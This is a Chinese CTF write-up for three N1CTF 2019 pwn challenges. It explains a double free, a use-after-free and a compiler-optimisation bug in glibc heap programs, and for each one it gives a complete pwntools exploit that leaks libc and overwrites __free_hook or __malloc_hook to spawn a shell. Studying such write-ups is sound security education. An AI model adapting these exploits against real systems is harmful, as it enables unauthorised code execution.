源文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/n1ctf_2019/pwn。
目录
pwn
Warmup
靶机环境 glibc-2.27。
void __cdecl delete()
{
int index; // [rsp+4h] [rbp-Ch]
printf("index:");
index = get_int();
if ( index >= 0 && index <= 9 )
{
if ( global_ptr[index] )
temp_ptr = (void *)global_ptr[index];
if ( temp_ptr )
{
free(temp_ptr);
global_ptr[index] = 0LL;
puts("done!");
}
else
{
puts("no such note!");
}
}
else
{
puts("invalid");
}
}
delete
功能中,存在延迟指针,所以可以double free
。
思路
- double free 攻击 tcache_entry
- unsorted bin 踩出 tcache
- 修改 stdout
- 劫持 hook
脚本
两次部分覆盖,概率是1/256
。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'error'
execve_file = './warmup'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('47.52.90.3', 9999)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# Create temporary files for GDB debugging
try:
gdbscript = '''
def pr
x/10gx $rebase(0x0202080)
end
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def add(content):
sh.sendlineafter('>>', '1')
sh.sendafter('content>>', content)
def delete(index):
sh.sendlineafter('>>', '2')
sh.sendlineafter('index:', str(index))
def modify(index, content):
sh.sendlineafter('>>', '3')
sh.sendlineafter('index:', str(index))
sh.sendafter('content>>', content)
add('\n')
delete(0)
delete(0)
two_byte = 0x0010 + (random.randint(0, 0xf) << 12)
# add(p16(0x7010))
add(p16(two_byte))
add('\n')
add(p8(0xff) * 0x40)
delete(2)
add(p8(1) * 0x40)
delete(0)
# modify(1, p16(0x0760) + '\xdd')
two_byte = 0x0760 + (random.randint(0, 0xf) << 12)
modify(1, p16(two_byte))
add('\n')
add(p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0xc8))
result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
delete(0)
delete(1)
add(p64(libc_addr + libc.symbols['__free_hook']))
add('/bin/sh\0')
add(p64(libc_addr + libc.symbols['system']))
delete(0)
sh.interactive()
clear()
Babypwn
靶机环境是 glibc-2.23。没有PIE保护。
void __cdecl delete()
{
int v0; // [rsp+4h] [rbp-Ch]
printf("index:");
v0 = get_int();
if ( v0 > 9 )
{
puts("invalid index!");
exit(0);
}
free(*(void **)&buf[v0]->desc);
}
明显的UAF
,难点在于利用申请次数的限制。
思路
为了获得更多的申请次数,我第一步先控制ptr
结构。
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
delete(0)
delete(1)
delete(0)
add(p64(0x71) + p16(0x25dd), 0x68, p64(0x60203d))
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
add('\n', 0x68, 'aaa' + p64(0x602060) + p64(0x51) + p64(0x602040) + p64(0) * 8 + p32(0x81) )
顺便修改一下stderr
指针指向合适的位置方便fastbin attack
。
之后就是修改stdout
,由于我们已经控制了ptr
,所以可以无限reload
,那么我们就可以申请任意次。
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'error'
# context.log_level = 'debug'
execve_file = './BabyPwn.bin'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('49.232.101.41', 9999)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# Create temporary files for GDB debugging
try:
gdbscript = '''
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def add(name, desc_size, desc):
sh.sendlineafter('choice:', '1')
sh.sendafter('name:', name)
sh.sendlineafter(' size:', str(desc_size))
sh.sendafter('Description:', desc)
def delete(index):
sh.sendlineafter('choice:', '2')
sh.sendlineafter('index:', str(index))
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
delete(0)
delete(1)
delete(0)
add(p64(0x71) + p16(0x25dd), 0x68, p64(0x60203d))
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
add('\n', 0x68, 'aaa' + p64(0x602060) + p64(0x51) + p64(0x602040) + p64(0) * 8 + p32(0x81) )
# pause()
# delete(0)
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
delete(1)
delete(2)
delete(1)
add('\n', 0x68, p64(0x60201d))
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
add('\n', 0x68, 'bbb' + p64(0) + p64(0x71) + p16(0x25dd))
delete(1)
delete(2)
delete(1)
add('\n', 0x68, p64(0x602030))
# reload
delete(0)
add('\n', 0x48, p64(0x602040) + p64(0) * 8)
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
add('\n', 0x68, 'c' * 0x33 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0x88))
result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
main_arena_addr = libc_addr + (libc.symbols['__malloc_hook'] + 0x10)
log.success('main_arena_addr: ' + hex(main_arena_addr))
delete(1)
delete(2)
delete(1)
add('\n', 0x68, p64(main_arena_addr - 0x33))
add('\n', 0x68, '\n')
add('\n', 0x68, '\n')
# reload
delete(0)
add('\n', 0x48, p64(0x602040) + p64(0) * 8)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add('\n', 0x68, 'z' * 0xb + p64(libc_addr + 0x4526a) + p64(libc_addr + libc.symbols['realloc'] + 4))
# pause()
sh.sendlineafter('choice:', '1')
sh.sendline('ls')
sh.interactive()
clear()
line
靶机环境 glibc-2.27 。
题目给出了源码,原本源码是没有任何问题的,但是编译出来的源程序开启了代码优化,正是这代码优化导致程序的lookup_line
函数出现了漏洞。
可能原因是出题人使用的是较老的编译器,我用我自己的机器也编译了一下,对照着源程序的汇编,就会发现有问题。
源程序:
vmovdqa xmm0, xmmword ptr cs:dword_202140
mov edx, 0FFFFFFFFh
mov [rbp-44h], eax
vinserti128 ymm0, ymm0, cs:xmmword_202150, 1
vpbroadcastd ymm1, dword ptr [rbp-44h]
vpcmpeqd ymm0, ymm0, ymm1
vpand ymm0, ymm0, cs:ymmword_15E0
vperm2i128 ymm1, ymm0, ymm0, 1
vpmaxsd ymm0, ymm0, ymm1
vpsrldq ymm1, ymm0, 8
vpmaxsd ymm0, ymm0, ymm1
vpsrldq ymm1, ymm0, 4
vpmaxsd ymm0, ymm0, ymm1
vmovd eax, xmm0
test eax, eax
cmovz eax, edx
cmp eax, edx
jz short loc_F80
我自己编译的程序:
后面我会将我自己编译的程序
称作为新程序
。
vmovdqa xmm1, xmmword ptr cs:waitting_line
lea rbx, waitting_line
vinserti128 ymm1, ymm1, xmmword ptr cs:waitting_line+10h, 1
vpbroadcastd ymm0, dword ptr [rbp-44h]
vpcmpeqd ymm1, ymm1, ymm0
vpcmpeqd ymm0, ymm0, ymm0
vpblendvb ymm1, ymm0, cs:ymmword_1660, ymm1
vperm2i128 ymm0, ymm1, ymm1, 1
vpmaxsd ymm0, ymm0, ymm1
vpsrldq ymm1, ymm0, 8
vpmaxsd ymm0, ymm0, ymm1
vpsrldq ymm1, ymm0, 4
vpmaxsd ymm0, ymm0, ymm1
vmovd eax, xmm0
cmp eax, 0FFFFFFFFh
jz short loc_1020
分析上面两段汇编可得,源程序在对waitting_line
进行比较的时候,用ymmword_15E0
进行赋值,由于源程序是用非0
来作为污点(新程序是用非-1
作为污点),而ymmword_15E0
的值是0000000001000000020000000300000004000000050000000600000007000000
,这会使得在执行vpand ymm0, ymm0, cs:ymmword_15E0
时,index_0
即使已经被判断出来为污点,但是ymmword_15E0
还是会将其设置为0,这样一来index_0
就可以逃脱waitting_line
的判断。
思路:
先是泄露libc地址信息,对于memset(people_list[index].info,0,size);
,我们只需要设置size为1
就能轻松绕过。
for i in range(8):
New(i + 1, 0xf8, '\n')
for i in range(7):
New(i + 0x10, 0x28, '\n')
New(0x100, 1, '\xa0')
show()
sh.recvuntil('8 : 256 (')
result = sh.recvuntil(')', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 0x160
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
然后利用程序漏洞进行double free
,再用tcache
劫持hook。
New(0x100, 1, '\n')
for i in range(7):
if(0x20 + i == 0x23):
New(0x20 + i, 0x38, '/bin/sh\0')
else:
New(0x20 + i, 0x38, '\n')
New(0x101, 0x38, '\n')
New(0x102, 0x18, p64(libc_addr + libc.symbols['__free_hook']))
New(0x103, 0x18, '\n')
New(0x104, 0x18, p64(libc_addr + libc.symbols['system']))
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('ID: ', str(0x105))
脚本:
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system(
'rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './line'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
define pr
x/8wx $rebase(0x202140)
end
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def New(id, size, content):
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('ID: ', str(id))
sh.sendlineafter('SIZE: ', str(size))
sh.send(content)
def show():
sh.sendlineafter('choice: ', '2')
for i in range(8):
New(i + 1, 0xf8, '\n')
for i in range(7):
New(i + 0x10, 0x28, '\n')
New(0x100, 1, '\xa0')
show()
sh.recvuntil('8 : 256 (')
result = sh.recvuntil(')', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 0x160
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
New(0x100, 1, '\n')
for i in range(7):
if(0x20 + i == 0x23):
New(0x20 + i, 0x38, '/bin/sh\0')
else:
New(0x20 + i, 0x38, '\n')
New(0x101, 0x38, '\n')
New(0x102, 0x18, p64(libc_addr + libc.symbols['__free_hook']))
New(0x103, 0x18, '\n')
New(0x104, 0x18, p64(libc_addr + libc.symbols['system']))
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('ID: ', str(0x105))
sh.interactive()
clear()